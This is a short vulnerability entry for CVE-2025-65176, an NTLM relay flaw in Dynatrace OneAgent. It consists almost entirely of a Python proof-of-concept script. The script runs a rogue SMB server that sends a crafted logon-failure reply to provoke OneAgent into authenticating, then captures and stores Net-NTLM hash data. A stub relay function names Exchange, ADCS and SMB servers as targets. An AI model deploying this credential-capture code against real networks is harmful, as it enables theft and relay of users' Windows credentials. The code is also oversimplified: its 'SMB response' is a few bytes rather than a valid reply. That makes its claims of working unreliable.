CVE-2025-65176 Dynatrace OneAgent NTLM中继攻击漏洞

# CVE-2025-65176 NTLM Relay Attack PoC # This PoC demonstrates the NTLM relay vulnerability in Dynatrace OneAgent # Attack Scenario: Setup a rogue SMB server to capture Net-NTLM hashes import socket import threading import hashlib import binascii import struct class RogueSMBServer: def __init__(self, host='0.0.0.0', port=445): self.host = host self.port = port self.captured_hashes = [] def start(self): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((self.host, self.port)) server_socket.listen(5) print(f"[*] Rogue SMB Server started on {self.host}:{self.port}") print("[*] Waiting for Dynatrace OneAgent connection...") while True: client_socket, addr = server_socket.accept() print(f"[+] Connection received from: {addr}") threading.Thread(target=self.handle_client, args=(client_socket,)).start() def handle_client(self, client_socket): # SMB Negotiate Protocol Request data = client_socket.recv(1024) if b"SMB" in data: print("[*] SMB Negotiation Request received") # Send SMB Negotiate Protocol Response with STATUS_LOGON_FAILURE # This triggers OneAgent to enumerate user tokens and retry response = self.build_smb_response() client_socket.send(response) print("[+] Sent malicious response to trigger token enumeration") # Capture subsequent authentication attempts try: auth_data = client_socket.recv(4096) if auth_data: print("[+] Captured NTLM authentication data") self.extract_ntlm_hash(auth_data) except: pass client_socket.close() def build_smb_response(self): # Construct SMB response that triggers STATUS_LOGON_FAILURE # This will cause OneAgent to enumerate all user tokens smb_header = b"\x00\x00\x00\x00" error_status = b"\x34\x00\x00\xC0" # STATUS_LOGON_FAILURE return smb_header + error_status def extract_ntlm_hash(self, data): # Extract NTLMSSP authentication from captured data if b"NTLMSSP" in data: ntlm_offset = data.find(b"NTLMSSP") ntlm_data = data[ntlm_offset:ntlm_offset+256] print(f"[+] NTLM Data captured: {binascii.hexlify(ntlm_data[:32])}") self.captured_hashes.append(ntlm_data) print(f"[*] Total hashes captured: {len(self.captured_hashes)}") def relay_attack(target_server, captured_hash): # NTLM Relay: Forward captured hash to target server print(f"[*] Relaying hash to target: {target_server}") # Implementation would relay the NTLM authentication to target # Potential targets: Exchange, ADCS, SMB servers, etc. pass if __name__ == "__main__": server = RogueSMBServer(host='0.0.0.0', port=445) server.start()